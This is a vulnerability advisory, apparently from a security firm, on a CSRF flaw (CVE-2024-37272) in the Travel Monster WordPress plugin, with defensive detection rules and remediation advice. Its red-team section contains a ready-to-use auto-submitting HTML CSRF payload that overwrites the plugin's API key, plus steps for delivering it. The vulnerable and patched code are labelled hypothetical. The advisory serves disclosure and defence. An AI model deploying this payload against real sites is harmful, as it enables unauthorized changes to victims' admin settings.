CVE-2024-37272

Executive Summary

CVE-2024-37272 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Travel Monster WordPress plugin, developed by Wptravelengine. This plugin is designed for travel and tour booking websites. The vulnerability exists in all versions up to and including 1.1.2. A successful CSRF attack can trick an authenticated administrator into unknowingly performing unintended actions, such as modifying plugin settings or creating unauthorized bookings, without their consent. The attack requires social engineering to lure the victim to a malicious page while they are logged into their WordPress admin panel. The CVSS score is 4.3 (Medium), and no public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed through the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component remains within its security boundary.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited modification of data or settings is possible.
• Availability (A): None (N) – No impact on service availability.

Threat Level: Medium. The attack requires user interaction and only allows low-integrity changes, but it can be chained with other vulnerabilities for more severe impact.

Deep Dive & Mechanics

The vulnerability resides in the Travel Monster plugin’s administrative functions. The plugin fails to implement proper CSRF tokens (nonces) on sensitive actions performed via the WordPress admin panel. This allows an attacker to craft a malicious request that, when executed by an authenticated administrator, performs unauthorized actions.

Attack Flow:

1. The attacker identifies a state-changing endpoint in the plugin (e.g., saving settings, creating a booking, or modifying user roles).
2. The attacker crafts a malicious HTML page or email containing a forged request (e.g., a hidden form submission or an image tag with a crafted URL).
3. The victim, who is logged into their WordPress admin panel, visits the malicious page.
4. The victim’s browser automatically sends the forged request to the vulnerable endpoint, including the victim’s session cookies.
5. The plugin processes the request without verifying a CSRF token, leading to unauthorized actions.

Root Cause: The plugin does not call wp_nonce_field() or check_admin_referer() on its admin pages, nor does it validate nonces on incoming POST/GET requests.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on standard CSRF remediation.

Vulnerable Code (Example from admin settings page):

<?php
// Vulnerable: No nonce check
if ( isset( $_POST['save_settings'] ) ) {
    update_option( 'travel_monster_api_key', sanitize_text_field( $_POST['api_key'] ) );
    // ... other settings
}
?>

Patched Code (Recommended Fix):

<?php
// Patched: Nonce verification added
if ( isset( $_POST['save_settings'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'travel_monster_save_settings' ) ) {
    update_option( 'travel_monster_api_key', sanitize_text_field( $_POST['api_key'] ) );
    // ... other settings
}
?>

Key Differences:

• The patched version uses wp_verify_nonce() to validate the request.
• The nonce field must be generated in the form using wp_nonce_field().

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Travel Monster plugin version <= 1.1.2.
• An authenticated admin user session.
• A way to deliver the malicious payload (e.g., email, forum post).

Exploit Payload (HTML):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="travel_monster_save_settings">
    <input type="hidden" name="api_key" value="attacker_controlled_key">
    <input type="hidden" name="redirect" value="/wp-admin/admin.php?page=travel-monster">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Steps:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the victim (e.g., via email or social engineering).
3. When the victim clicks the link while logged into WordPress, the form auto-submits, changing the API key to the attacker’s value.

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-post.php with action=travel_monster_* parameters.
• Look for referrer headers that do not match the legitimate admin domain.
• Enable WordPress security plugins that add CSRF protection (e.g., Wordfence, Sucuri).

Prevention:

• Ensure the plugin is updated to the latest version (once a patch is released).
• Implement a Web Application Firewall (WAF) rule to block requests missing nonce parameters.
• Educate administrators about phishing and social engineering attacks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-post.php with action=travel_monster_* parameters.
  • Referrer headers from external domains.
• File IOCs:
  • Modified plugin files in /wp-content/plugins/travel-monster/ (check file integrity).
• Log IOCs:
  • Unusual admin user actions recorded in WordPress audit logs (e.g., settings changes without corresponding admin page visits).

Detection Engineering

YARA Rule

rule CVE_2024_37272_CSRF_Travel_Monster {
    meta:
        description = "Detects potential CSRF exploitation attempts against Travel Monster plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37272"
    strings:
        $action = "travel_monster_" ascii wide nocase
        $admin_post = "admin-post.php" ascii wide nocase
        $nonce_missing = "wp_verify_nonce" ascii wide nocase
    condition:
        $admin_post and $action and not $nonce_missing
}

Sigma Rule

title: CVE-2024-37272 - Travel Monster CSRF Exploitation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting Travel Monster plugin without proper nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=travel_monster_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-37272 - Travel Monster CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=travel_monster_"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-37272;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a WAF rule to block requests to /wp-admin/admin-post.php with action=travel_monster_* unless a valid nonce is present.
3. Audit admin user activity for any unauthorized changes.

Long-Term Fix:

• The vendor must release a patched version that adds CSRF nonce verification to all admin-facing actions.
• Users should update to the latest version once available.

Workarounds:

• Use a security plugin like Wordfence to add CSRF protection.
• Restrict admin access to trusted IP addresses.
• Enable two-factor authentication (2FA) for all admin accounts.

Valters IT
Securing Digital Frontiers